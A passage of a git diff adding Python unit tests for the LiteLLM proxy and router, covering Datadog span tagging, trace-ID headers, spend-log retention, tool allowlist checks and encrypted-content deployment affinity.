test-key"}, + ) + assert response.status_code == 200 + finally: + app.dependency_overrides.clear() + + return captured_kwargs + + def test_team_override_overrides_caller(self, monkeypatch, llm_router): + """Team enforcement wins over caller-provided value.""" + kwargs = self._post_batch( + monkeypatch, + llm_router, + team_metadata={ + "enforced_batch_output_expires_after": TEAM_EXPIRY, + }, + request_body={ + "input_file_id": "file-abc123", + "endpoint": "/v1/chat/completions", + "completion_window": "24h", + "output_expires_after": CALLER_EXPIRY, + }, + ) + assert kwargs["output_expires_after"] == TEAM_EXPIRY + + def test_no_team_setting_preserves_caller(self, monkeypatch, llm_router): + """No team setting = caller value passes through.""" + kwargs = self._post_batch( + monkeypatch, + llm_router, + team_metadata={}, + request_body={ + "input_file_id": "file-abc123", + "endpoint": "/v1/chat/completions", + "completion_window": "24h", + "output_expires_after": CALLER_EXPIRY, + }, + ) + assert kwargs["output_expires_after"] == CALLER_EXPIRY diff --git a/tests/test_litellm/proxy/test_common_request_processing.py b/tests/test_litellm/proxy/test_common_request_processing.py index 9b905d24fd1..ba1084eafe0 100644 --- a/tests/test_litellm/proxy/test_common_request_processing.py +++ b/tests/test_litellm/proxy/test_common_request_processing.py @@ -1,7 +1,7 @@ import copy import datetime from typing import AsyncGenerator -from unittest.mock import AsyncMock, MagicMock +from unittest.mock import AsyncMock, MagicMock, patch import pytest from fastapi import Request, status @@ -13,13 +13,13 @@ from litellm.integrations.opentelemetry import UserAPIKeyAuth from litellm.proxy.common_request_processing import ( ProxyBaseLLMRequestProcessing, ProxyConfig, - _add_dd_apm_tags_for_litellm_call_id, _extract_error_from_sse_chunk, _get_cost_breakdown_from_logging_obj, _override_openai_response_model, _parse_event_data_for_error, create_response, ) +from litellm.proxy.dd_span_tagger import DDSpanTagger from litellm.proxy.utils import ProxyLogging @@ -82,13 +82,15 @@ class TestProxyBaseLLMRequestProcessing: def test_add_dd_apm_tags_for_litellm_call_id_uses_dd_tracing_helper(self, monkeypatch): mock_set_active_span_tag = MagicMock(return_value=True) + import litellm.proxy.dd_span_tagger + monkeypatch.setattr( - litellm.proxy.common_request_processing, + litellm.proxy.dd_span_tagger, "set_active_span_tag", mock_set_active_span_tag, ) - _add_dd_apm_tags_for_litellm_call_id("test-call-id") + DDSpanTagger.tag_call_id("test-call-id") mock_set_active_span_tag.assert_called_once_with( "litellm.call_id", "test-call-id" @@ -1564,3 +1566,59 @@ class TestStreamingOverheadHeader: "It was missing — this is the streaming overhead header regression." ) assert custom_headers["x-litellm-overhead-duration-ms"] == "55.3" + + +class TestDDSpanTaggerTagRequest: + """Tests for DDSpanTagger.tag_request - key/model DD span tagging.""" + + def _make_user_api_key_dict(self, key_alias=None, token=None): + from litellm.proxy._types import UserAPIKeyAuth + + d = UserAPIKeyAuth() + d.key_alias = key_alias + d.token = token + return d + + def test_tags_key_alias_and_model(self): + """key_alias and requested_model are set on the span when present.""" + user_key = self._make_user_api_key_dict(key_alias="my-prod-key", token="hashed123") + + with patch( + "litellm.proxy.dd_span_tagger.set_active_span_tag" + ) as mock_set_tag: + DDSpanTagger.tag_request( + user_api_key_dict=user_key, + requested_model="gpt-4o", + ) + + mock_set_tag.assert_any_call("litellm.key_alias", "my-prod-key") + mock_set_tag.assert_any_call("litellm.key_hash", "hashed123") + mock_set_tag.assert_any_call("litellm.requested_model", "gpt-4o") + + def test_no_tags_when_key_absent(self): + """No key tags are set when key_alias and token are None (e.g. 401 path).""" + user_key = self._make_user_api_key_dict(key_alias=None, token=None) + + with patch( + "litellm.proxy.dd_span_tagger.set_active_span_tag" + ) as mock_set_tag: + DDSpanTagger.tag_request( + user_api_key_dict=user_key, + requested_model=None, + ) + + mock_set_tag.assert_not_called() + + def test_only_model_tagged_when_no_key_info(self): + """requested_model is tagged even when there's no key info.""" + user_key = self._make_user_api_key_dict(key_alias=None, token=None) + + with patch( + "litellm.proxy.dd_span_tagger.set_active_span_tag" + ) as mock_set_tag: + DDSpanTagger.tag_request( + user_api_key_dict=user_key, + requested_model="claude-3-5-sonnet", + ) + + mock_set_tag.assert_called_once_with("litellm.requested_model", "claude-3-5-sonnet") diff --git a/tests/test_litellm/proxy/test_litellm_pre_call_utils.py b/tests/test_litellm/proxy/test_litellm_pre_call_utils.py index 8abc6bfe077..bc13cea939e 100644 --- a/tests/test_litellm/proxy/test_litellm_pre_call_utils.py +++ b/tests/test_litellm/proxy/test_litellm_pre_call_utils.py @@ -11,11 +11,16 @@ from fastapi import Request import litellm from litellm.proxy._types import TeamCallbackMetadata, UserAPIKeyAuth from litellm.proxy.litellm_pre_call_utils import ( - KeyAndTeamLoggingSettings, LiteLLMProxyRequestSetup, - _get_dynamic_logging_metadata, _get_enforced_params, - _get_metadata_variable_name, _update_model_if_key_alias_exists, - add_guardrails_from_policy_engine, add_litellm_data_to_request, - check_if_token_is_service_account) + KeyAndTeamLoggingSettings, + LiteLLMProxyRequestSetup, + _get_dynamic_logging_metadata, + _get_enforced_params, + _get_metadata_variable_name, + _update_model_if_key_alias_exists, + add_guardrails_from_policy_engine, + add_litellm_data_to_request, + check_if_token_is_service_account, +) sys.path.insert( 0, os.path.abspath("../../..") @@ -154,8 +159,7 @@ def test_get_enforced_params( @pytest.mark.asyncio async def test_add_litellm_data_to_request_parses_string_metadata(): - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup request_mock = MagicMock(spec=Request) @@ -201,8 +205,7 @@ async def test_add_litellm_data_to_request_parses_string_metadata(): @pytest.mark.asyncio async def test_add_litellm_data_to_request_user_spend_and_budget(): - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request request_mock = MagicMock(spec=Request) request_mock.url.path = "/v1/completions" @@ -240,8 +243,7 @@ async def test_add_litellm_data_to_request_user_spend_and_budget(): @pytest.mark.asyncio async def test_add_litellm_data_to_request_audio_transcription_multipart(): - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup request mock for /v1/audio/transcriptions request_mock = MagicMock(spec=Request) @@ -306,8 +308,7 @@ async def test_add_litellm_data_to_request_disabled_callbacks(): """ Test that litellm_disabled_callbacks from key metadata is properly added to the request data. """ - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup mock request request_mock = MagicMock(spec=Request) @@ -360,8 +361,7 @@ async def test_add_litellm_data_to_request_disabled_callbacks_empty(): """ Test that litellm_disabled_callbacks is not added when it's empty. """ - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup mock request request_mock = MagicMock(spec=Request) @@ -413,8 +413,7 @@ async def test_add_litellm_data_to_request_disabled_callbacks_not_present(): """ Test that litellm_disabled_callbacks is not added when it's not present in metadata. """ - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup mock request request_mock = MagicMock(spec=Request) @@ -466,8 +465,7 @@ async def test_add_litellm_data_to_request_disabled_callbacks_invalid_type(): """ Test that litellm_disabled_callbacks is not added when it's not a list. """ - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup mock request request_mock = MagicMock(spec=Request) @@ -519,8 +517,7 @@ async def test_add_litellm_data_to_request_disabled_callbacks_with_logging_setti """ Test that litellm_disabled_callbacks works correctly alongside logging settings. """ - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup mock request request_mock = MagicMock(spec=Request) @@ -1030,8 +1027,7 @@ from unittest.mock import AsyncMock from fastapi.responses import Response from litellm.integrations.custom_logger import CustomLogger -from litellm.proxy.common_request_processing import \ - ProxyBaseLLMRequestProcessing +from litellm.proxy.common_request_processing import ProxyBaseLLMRequestProcessing from litellm.proxy.utils import ProxyLogging from litellm.types.utils import StandardLoggingPayload @@ -1149,6 +1145,47 @@ async def test_add_litellm_metadata_from_request_headers(): litellm.callbacks = original_callbacks +def test_add_litellm_metadata_from_request_headers_x_litellm_trace_id_sets_chain_id(): + """x-litellm-trace-id sets both metadata and top-level litellm_session_id/litellm_trace_id for call chaining.""" + headers = {"x-litellm-trace-id": "foo"} + data = {"metadata": {}} + LiteLLMProxyRequestSetup.add_litellm_metadata_from_request_headers( + headers=headers, data=data, _metadata_variable_name="metadata" + ) + assert data["metadata"]["trace_id"] == "foo" + assert data["metadata"]["session_id"] == "foo" + assert data["litellm_session_id"] == "foo" + assert data["litellm_trace_id"] == "foo" + + +def test_add_litellm_metadata_from_request_headers_x_litellm_session_id_sets_chain_id(): + """x-litellm-session-id sets both metadata and top-level litellm_session_id/litellm_trace_id for call chaining.""" + headers = {"x-litellm-session-id": "bar"} + data = {"metadata": {}} + LiteLLMProxyRequestSetup.add_litellm_metadata_from_request_headers( + headers=headers, data=data, _metadata_variable_name="metadata" + ) + assert data["metadata"]["trace_id"] == "bar" + assert data["metadata"]["session_id"] == "bar" + assert data["litellm_session_id"] == "bar" + assert data["litellm_trace_id"] == "bar" + + +def test_add_litellm_metadata_from_request_headers_both_headers_trace_id_precedence(): + """When both x-litellm-trace-id and x-litellm-session-id are present, trace-id takes precedence for chain_id.""" + headers = { + "x-litellm-trace-id": "trace-value", + "x-litellm-session-id": "session-value", + } + data = {"metadata": {}} + LiteLLMProxyRequestSetup.add_litellm_metadata_from_request_headers( + headers=headers, data=data, _metadata_variable_name="metadata" + ) + assert data["metadata"]["trace_id"] == "trace-value" + assert data["metadata"]["session_id"] == "trace-value" + assert data["litellm_session_id"] == "trace-value" + assert data["litellm_trace_id"] == "trace-value" + def test_get_internal_user_header_from_mapping_returns_expected_header(): mappings = [ @@ -1407,8 +1444,7 @@ async def test_embedding_header_forwarding_with_model_group(): importlib.reload(pre_call_utils_module) # Re-import the function after reload to get the fresh version - from litellm.proxy.litellm_pre_call_utils import \ - add_litellm_data_to_request + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request # Setup mock request for embeddings request_mock = MagicMock(spec=Request) @@ -1542,11 +1578,13 @@ async def test_add_guardrails_from_policy_engine(): Test that add_guardrails_from_policy_engine adds guardrails from matching policies and tracks applied policies in metadata. """ - from litellm.proxy.policy_engine.attachment_registry import \ - get_attachment_registry + from litellm.proxy.policy_engine.attachment_registry import get_attachment_registry from litellm.proxy.policy_engine.policy_registry import get_policy_registry - from litellm.types.proxy.policy_engine import (Policy, PolicyAttachment, - PolicyGuardrails) + from litellm.types.proxy.policy_engine import ( + Policy, + PolicyAttachment, + PolicyGuardrails, + ) # Setup test data data = { @@ -1659,8 +1697,7 @@ async def test_add_guardrails_from_policy_engine_policy_version_by_id(): Test that add_guardrails_from_policy_engine executes a specific policy version when policy_ is passed in the request body. """ - from litellm.proxy.policy_engine.attachment_registry import \ - get_attachment_registry + from litellm.proxy.policy_engine.attachment_registry import get_attachment_registry from litellm.proxy.policy_engine.policy_registry import get_policy_registry from litellm.types.proxy.policy_engine import Policy, PolicyGuardrails @@ -1729,6 +1766,7 @@ async def test_bearer_token_not_in_debug_logs(): """ import logging from io import StringIO + from litellm.proxy.litellm_pre_call_utils import add_litellm_data_to_request from litellm.proxy.proxy_server import ProxyConfig diff --git a/tests/test_litellm/proxy/test_spend_log_cleanup.py b/tests/test_litellm/proxy/test_spend_log_cleanup.py index c1fa3ad0c43..3a01437908d 100644 --- a/tests/test_litellm/proxy/test_spend_log_cleanup.py +++ b/tests/test_litellm/proxy/test_spend_log_cleanup.py @@ -233,6 +233,65 @@ async def test_cleanup_old_spend_logs_no_retention_period(): mock_prisma_client.db.execute_raw.assert_not_called() +@pytest.mark.asyncio +async def test_lock_not_released_when_not_acquired(): + """ + Lock release should be skipped when _should_delete_spend_logs returns False + before the lock is ever acquired. + """ + mock_prisma_client = MagicMock() + mock_prisma_client.db.execute_raw = AsyncMock() + + mock_redis_cache = MagicMock() + mock_pod_lock_manager = MagicMock() + mock_pod_lock_manager.redis_cache = mock_redis_cache + mock_pod_lock_manager.acquire_lock = AsyncMock(return_value=True) + mock_pod_lock_manager.release_lock = AsyncMock() + + # No retention setting → _should_delete_spend_logs() returns False before lock is acquired + cleaner = SpendLogCleanup(general_settings={}) + cleaner.pod_lock_manager = mock_pod_lock_manager + + await cleaner.cleanup_old_spend_logs(mock_prisma_client) + + mock_pod_lock_manager.acquire_lock.assert_not_called() + mock_pod_lock_manager.release_lock.assert_not_called() + + +@pytest.mark.asyncio +async def test_integer_retention_treated_as_days(): + """ + An integer value for maximum_spend_logs_retention_period should be treated + as days (e.g., 3 → '3d' → 259200 seconds). + """ + cleaner = SpendLogCleanup( + general_settings={"maximum_spend_logs_retention_period": 3} + ) + result = cleaner._should_delete_spend_logs() + assert result is True + assert cleaner.retention_seconds == 3 * 86400 # 3 days in seconds + + +def test_string_retention_still_works(): + """ + String values like '3d', '24h', '3600s' should continue to parse correctly. + """ + cases = [ + ("3d", 3 * 86400), + ("24h", 24 * 3600), + ("3600s", 3600), + ("2w", 2 * 604800), + ] + for setting, expected_seconds in cases: + cleaner = SpendLogCleanup( + general_settings={"maximum_spend_logs_retention_period": setting} + ) + assert cleaner._should_delete_spend_logs() is True, f"Failed for {setting}" + assert cleaner.retention_seconds == expected_seconds, ( + f"Expected {expected_seconds} for {setting}, got {cleaner.retention_seconds}" + ) + + def test_cleanup_batch_size_env_var(monkeypatch): """Ensure batch size is configurable via environment variable""" import importlib diff --git a/tests/test_litellm/proxy/test_tools_allowlist_enforcement.py b/tests/test_litellm/proxy/test_tools_allowlist_enforcement.py new file mode 100644 index 00000000000..4adc5acde8b --- /dev/null +++ b/tests/test_litellm/proxy/test_tools_allowlist_enforcement.py @@ -0,0 +1,200 @@ +""" +Tests for tool allowlist enforcement (key/team metadata.allowed_tools). + +Covers: +- check_tools_allowlist: allowed, disallowed, no allowlist, non-tool routes +- extract_request_tool_names: OpenAI chat, responses, Anthropic, generate_content, MCP +""" + +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +from litellm.proxy._types import (ProxyErrorTypes, ProxyException, + UserAPIKeyAuth) +from litellm.proxy.auth.auth_checks import check_tools_allowlist +from litellm.proxy.guardrails.tool_name_extraction import ( + TOOL_CAPABLE_CALL_TYPES, extract_request_tool_names) + + +def _token(metadata=None, team_metadata=None): + return UserAPIKeyAuth( + api_key="test-key", + user_id="user", + team_id="team", + org_id=None, + models=["*"], + metadata=metadata or {}, + team_metadata=team_metadata or {}, + ) + + +class TestExtractRequestToolNames: + """Test tool name extraction per API format.""" + + def test_openai_chat_tools(self): + data = { + "tools": [ + {"type": "function", "function": {"name": "get_weather"}}, + {"type": "function", "function": {"name": "run_sql"}}, + ] + } + assert extract_request_tool_names("/v1/chat/completions", data) == [ + "get_weather", + "run_sql", + ] + + def test_openai_chat_functions_legacy(self): + data = {"functions": [{"name": "get_weather"}, {"name": "run_sql"}]} + assert extract_request_tool_names("/v1/chat/completions", data) == [ + "get_weather", + "run_sql", + ] + + def test_openai_responses_function_tools(self): + data = { + "tools": [ + {"type": "function", "name": "get_current_weather", "description": "x"}, + ] + } + assert extract_request_tool_names("/v1/responses", data) == [ + "get_current_weather" + ] + + def test_openai_responses_mcp_tools(self): + data = { + "tools": [ + {"type": "mcp", "server_label": "dmcp", "server_url": "http://x"}, + ] + } + assert extract_request_tool_names("/v1/responses", data) == ["dmcp"] + + def test_anthropic_tools(self): + data = {"tools": [{"name": "get_weather"}, {"name": "run_sql"}]} + assert extract_request_tool_names("/v1/messages", data) == [ + "get_weather", + "run_sql", + ] + + def test_generate_content_tools(self): + data = { + "tools": [ + { + "functionDeclarations": [ + {"name": "schedule_meeting", "description": "x"}, + ] + }, + ] + } + assert extract_request_tool_names("/generate_content", data) == [ + "schedule_meeting" + ] + + def test_mcp_call_tool_name(self): + data = {"name": "my_tool", "arguments": {}} + assert extract_request_tool_names("/mcp/call_tool", data) == ["my_tool"] + + def test_mcp_call_tool_mcp_tool_name(self): + data = {"mcp_tool_name": "other_tool"} + assert extract_request_tool_names("/mcp/call_tool", data) == ["other_tool"] + + def test_non_tool_route_returns_empty(self): + data = {"tools": [{"type": "function", "function": {"name": "x"}}]} + assert extract_request_tool_names("/v1/embeddings", data) == [] + + +class TestCheckToolsAllowlist: + """Test allowlist enforcement in auth (no DB in hot path).""" + + @pytest.mark.asyncio + async def test_no_allowlist_passes(self): + token = _token(metadata={}, team_metadata={}) + body = { + "tools": [{"type": "function", "function": {"name": "get_weather"}}] + } + await check_tools_allowlist( + request_body=body, + valid_token=token, + team_object=None, + route="/v1/chat/completions", + ) + + @pytest.mark.asyncio + async def test_allowed_tool_passes(self): + token = _token(metadata={"allowed_tools": ["get_weather"]}) + body = { + "tools": [{"type": "function", "function": {"name": "get_weather"}}] + } + await check_tools_allowlist( + request_body=body, + valid_token=token, + team_object=None, + route="/v1/chat/completions", + ) + + @pytest.mark.asyncio + async def test_disallowed_tool_raises(self): + token = _token(metadata={"allowed_tools": ["other_tool"]}) + body = { + "tools": [{"type": "function", "function": {"name": "get_weather"}}] + } + with pytest.raises(ProxyException) as exc_info: + await check_tools_allowlist( + request_body=body, + valid_token=token, + team_object=None, + route="/v1/chat/completions", + ) + assert exc_info.value.type == ProxyErrorTypes.tool_access_denied + assert "get_weather" in str(exc_info.value.message) + + @pytest.mark.asyncio + async def test_team_allowlist_used_when_key_empty(self): + token = _token( + metadata={}, + team_metadata={"allowed_tools": ["get_weather"]}, + ) + body = { + "tools": [{"type": "function", "function": {"name": "get_weather"}}] + } + await check_tools_allowlist( + request_body=body, + valid_token=token, + team_object=None, + route="/v1/chat/completions", + ) + + @pytest.mark.asyncio + async def test_key_allowlist_overrides_team(self): + token = _token( + metadata={"allowed_tools": ["get_weather"]}, + team_metadata={"allowed_tools": ["other_tool"]}, + ) + body = { + "tools": [{"type": "function", "function": {"name": "get_weather"}}] + } + await check_tools_allowlist( + request_body=body, + valid_token=token, + team_object=None, + route="/v1/chat/completions", + ) + + @pytest.mark.asyncio + async def test_valid_token_none_skips(self): + await check_tools_allowlist( + request_body={"tools": [{"type": "function", "function": {"name": "x"}}]}, + valid_token=None, + team_object=None, + route="/v1/chat/completions", + ) + + @pytest.mark.asyncio + async def test_no_tools_in_body_passes(self): + token = _token(metadata={"allowed_tools": ["get_weather"]}) + await check_tools_allowlist( + request_body={"messages": []}, + valid_token=token, + team_object=None, + route="/v1/chat/completions", + ) diff --git a/tests/test_litellm/router_utils/pre_call_checks/test_encrypted_content_affinity_check.py b/tests/test_litellm/router_utils/pre_call_checks/test_encrypted_content_affinity_check.py new file mode 100644 index 00000000000..6e845e9d050 --- /dev/null +++ b/tests/test_litellm/router_utils/pre_call_checks/test_encrypted_content_affinity_check.py @@ -0,0 +1,713 @@ +""" +Tests for encrypted_content_affinity pre-call check. + +The mechanism works without any cache and supports two encoding strategies: + +1. **Items with IDs**: item IDs for output items with `encrypted_content` are rewritten to + `encitem_{base64("litellm:model_id:{model_id};item_id:{original_id}")}`. + +2. **Items without IDs** (Codex): encrypted_content itself is wrapped with model_id metadata: + `litellm_enc:{base64("model_id:{model_id}")};{original_encrypted_content}`. + +- On routing: `EncryptedContentAffinityCheck` decodes from either item IDs or wrapped + encrypted_content to extract `model_id` and pins the request to that deployment. +- Before forwarding: `_restore_encrypted_content_item_ids_in_input` decodes IDs and unwraps + encrypted_content back to their original forms before sending to the upstream provider. +""" + +import os +import sys +from unittest.mock import AsyncMock, patch + +import pytest + +sys.path.insert(0, os.path.abspath("../..")) + +import json + +import litellm +from litellm.responses.utils import ResponsesAPIRequestUtils + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +class MockResponse: + def __init__(self, json_data, status_code): + self._json_data = json_data + self.status_code = status_code + self.text = json.dumps(json_data) + self.headers = {} + + def json(self): + return self._json_data + + +def _get_item_id(item) -> str: + """Extract item ID from either a Pydantic model or a dict.""" + if isinstance(item, dict): + return item.get("id", "") + return getattr(item, "id", "") or "" + + +def _has_encrypted_content(item) -> bool: + """Check whether an output item carries encrypted_content.""" + if isinstance(item, dict): + return "encrypted_content" in item + return hasattr(item, "encrypted_content") and getattr(item, "encrypted_content") is not None + + +def _extract_encoded_item_id(response) -> str: + """ + Walk the response output and return the first litellm-encoded item ID + (i.e. one that starts with ``encitem_``). + """ + for item in response.output or []: + item_id = _get_item_id(item) + if item_id.startswith("encitem_"): + return item_id + return "" + + +# --------------------------------------------------------------------------- +# Unit tests for encoding / decoding utilities +# --------------------------------------------------------------------------- + + +class TestEncryptedItemIdCodec: + def test_roundtrip(self): + model_id = "deployment-1" + original_item_id = "rs_abc123def456" + encoded = ResponsesAPIRequestUtils._build_encrypted_item_id(model_id, original_item_id) + assert encoded.startswith("encitem_") + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(encoded) + assert decoded is not None + assert decoded["model_id"] == model_id + assert decoded["item_id"] == original_item_id + + def test_decode_without_padding(self): + """Decoding must succeed even if base64 padding (=) was stripped in transit.""" + model_id = "gpt-5.1-codex-openai-2" + original_item_id = "rs_0efb96cb222403210069a01d5d52588196a9dc394ffdb89d00" + encoded = ResponsesAPIRequestUtils._build_encrypted_item_id(model_id, original_item_id) + # Strip any trailing '=' to simulate what happens in transit + stripped = encoded.rstrip("=") + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(stripped) + assert decoded is not None + assert decoded["model_id"] == model_id + assert decoded["item_id"] == original_item_id + + def test_non_encoded_id_returns_none(self): + assert ResponsesAPIRequestUtils._decode_encrypted_item_id("rs_abc123") is None + assert ResponsesAPIRequestUtils._decode_encrypted_item_id("msg_abc") is None + assert ResponsesAPIRequestUtils._decode_encrypted_item_id("") is None + + def test_semicolon_in_item_id(self): + """item_id values containing ';' must survive the roundtrip.""" + model_id = "deployment-1" + original_item_id = "rs_part1;part2;part3" + encoded = ResponsesAPIRequestUtils._build_encrypted_item_id(model_id, original_item_id) + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(encoded) + assert decoded is not None + assert decoded["item_id"] == original_item_id + + +class TestUpdateEncryptedContentItemIds: + def test_rewrites_encrypted_items_in_dict_response(self): + model_id = "deployment-1" + response = { + "id": "resp_123", + "output": [ + {"id": "msg_abc", "type": "message", "content": []}, + {"id": "rs_xyz", "type": "reasoning", "encrypted_content": "secret"}, + ], + } + result = ResponsesAPIRequestUtils._update_encrypted_content_item_ids_in_response( + response, model_id + ) + # Plain message item untouched + assert result["output"][0]["id"] == "msg_abc" + # Reasoning item with encrypted_content gets encoded + encoded_id = result["output"][1]["id"] + assert encoded_id.startswith("encitem_") + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(encoded_id) + assert decoded["model_id"] == model_id + assert decoded["item_id"] == "rs_xyz" + + def test_no_op_when_model_id_is_none(self): + response = { + "output": [{"id": "rs_xyz", "type": "reasoning", "encrypted_content": "secret"}] + } + result = ResponsesAPIRequestUtils._update_encrypted_content_item_ids_in_response( + response, None + ) + assert result["output"][0]["id"] == "rs_xyz" + + +class TestEncryptedContentWrapping: + def test_wrap_and_unwrap_encrypted_content(self): + """Test wrapping encrypted_content with model_id metadata.""" + model_id = "deployment-1" + original_content = "gAAAAABpnW_yEYmSNEyOG_original_encrypted_data" + wrapped = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + original_content, model_id + ) + assert wrapped.startswith("litellm_enc:") + assert wrapped != original_content + + unwrapped_model_id, unwrapped_content = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id(wrapped) + ) + assert unwrapped_model_id == model_id + assert unwrapped_content == original_content + + def test_unwrap_plain_encrypted_content(self): + """Unwrapping plain encrypted_content returns None for model_id.""" + plain_content = "gAAAAABpnW_yEYmSNEyOG_plain_content" + model_id, content = ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id( + plain_content + ) + assert model_id is None + assert content == plain_content + + def test_update_response_wraps_encrypted_content_without_id(self): + """Items with encrypted_content but no ID get the content wrapped.""" + model_id = "deployment-1" + response = { + "id": "resp_123", + "output": [ + {"type": "message", "content": []}, + { + "type": "reasoning", + "encrypted_content": "gAAAAABpnW_yEYmSNEyOG_secret", + }, + ], + } + result = ResponsesAPIRequestUtils._update_encrypted_content_item_ids_in_response( + response, model_id + ) + assert result["output"][0].get("encrypted_content") is None + wrapped = result["output"][1]["encrypted_content"] + assert wrapped.startswith("litellm_enc:") + + model_id_extracted, unwrapped = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id(wrapped) + ) + assert model_id_extracted == model_id + assert unwrapped == "gAAAAABpnW_yEYmSNEyOG_secret" + + +class TestRestoreEncryptedContentItemIds: + def test_restores_encoded_ids(self): + model_id = "deployment-1" + original_id = "rs_encrypted_item_456" + encoded_id = ResponsesAPIRequestUtils._build_encrypted_item_id(model_id, original_id) + + request_input = [ + {"type": "message", "id": "msg_abc123", "role": "assistant"}, + {"type": "reasoning", "id": encoded_id, "encrypted_content": "secret"}, + ] + restored = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input( + request_input + ) + assert restored[0]["id"] == "msg_abc123" + assert restored[1]["id"] == original_id + + def test_unwraps_encrypted_content(self): + """Test that wrapped encrypted_content is unwrapped before forwarding.""" + model_id = "deployment-1" + original_content = "gAAAAABpnW_yEYmSNEyOG_original" + wrapped_content = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + original_content, model_id + ) + + request_input = [ + {"type": "reasoning", "encrypted_content": wrapped_content}, + ] + restored = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input( + request_input + ) + assert restored[0]["encrypted_content"] == original_content + + def test_no_op_for_plain_string_input(self): + result = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input( + "Hello world" + ) + assert result == "Hello world" + + def test_no_op_for_unencoded_ids(self): + request_input = [{"type": "message", "id": "msg_plain"}] + result = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input( + request_input + ) + assert result[0]["id"] == "msg_plain" + + +# --------------------------------------------------------------------------- +# Integration tests (router-level) +# --------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_encrypted_content_affinity_tracks_and_routes(): + """ + The first response rewrites encrypted-content item IDs to encoded form. + The follow-up request with those encoded IDs is pinned to the same deployment. + """ + mock_response_data = { + "id": "resp_mock-123", + "object": "response", + "created_at": 1741476542, + "status": "completed", + "model": "openai/gpt-5.1-codex", + "output": [ + { + "type": "message", + "id": "msg_abc123", + "status": "completed", + "role": "assistant", + "content": [{"type": "output_text", "text": "Hello!", "annotations": []}], + }, + { + "type": "reasoning", + "id": "rs_encrypted_item_456", + "status": "completed", + "encrypted_content": "gAAAAABpnW_yEYmSNEyOG...", + }, + ], + "parallel_tool_calls": True, + "usage": {"input_tokens": 5, "output_tokens": 10, "total_tokens": 15}, + "error": None, + } + + router = litellm.Router( + model_list=[ + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-1", + }, + "model_info": {"id": "deployment-1"}, + }, + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-2", + }, + "model_info": {"id": "deployment-2"}, + }, + ], + optional_pre_call_checks=["encrypted_content_affinity"], + ) + + selected_deployments = [] + + def deterministic_choice(seq): + if len(selected_deployments) == 0: + return seq[0] + return seq[1] if len(seq) > 1 else seq[0] + + with patch( + "litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post", + new_callable=AsyncMock, + ) as mock_post, patch( + "litellm.router_strategy.simple_shuffle.random.choice", + side_effect=deterministic_choice, + ): + mock_post.return_value = MockResponse(mock_response_data, 200) + + # First request — goes to deployment-1 via deterministic_choice + first_response = await router.aresponses( + model="openai.gpt-5.1-codex", + input="Hello, how are you?", + ) + first_model_id = first_response._hidden_params["model_id"] + selected_deployments.append(first_model_id) + + # The response must have rewritten the encrypted item's ID to encoded form + encoded_item_id = _extract_encoded_item_id(first_response) + assert encoded_item_id.startswith("encitem_"), ( + f"Expected output item ID to be rewritten to encitem_... but got {encoded_item_id!r}" + ) + + # Verify the encoded ID decodes back to the correct deployment + original ID + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(encoded_item_id) + assert decoded is not None + assert decoded["model_id"] == first_model_id + assert decoded["item_id"] == "rs_encrypted_item_456" + + # Second request: use the encoded item IDs from the first response + second_response = await router.aresponses( + model="openai.gpt-5.1-codex", + input=[ + {"type": "message", "id": "msg_abc123", "role": "assistant"}, + { + "type": "reasoning", + "id": encoded_item_id, + "encrypted_content": "gAAAAABpnW_yEYmSNEyOG...", + }, + ], + ) + second_model_id = second_response._hidden_params["model_id"] + + assert second_model_id == first_model_id, ( + f"Expected affinity to route to {first_model_id}, but got {second_model_id}" + ) + + +@pytest.mark.asyncio +async def test_encrypted_content_affinity_no_effect_on_chat_completions(): + """ + Encrypted content affinity should not affect regular chat completions. + """ + router = litellm.Router( + model_list=[ + { + "model_name": "gpt-3.5-turbo", + "litellm_params": { + "model": "gpt-3.5-turbo", + "api_key": "test-key", + "mock_response": "Hello from chat completion!", + }, + "model_info": {"id": "chat-deployment-1"}, + }, + ], + optional_pre_call_checks=["encrypted_content_affinity"], + ) + + response1 = await router.acompletion( + model="gpt-3.5-turbo", + messages=[{"role": "user", "content": "Hello"}], + ) + response2 = await router.acompletion( + model="gpt-3.5-turbo", + messages=[{"role": "user", "content": "Hello again"}], + ) + assert response1.id 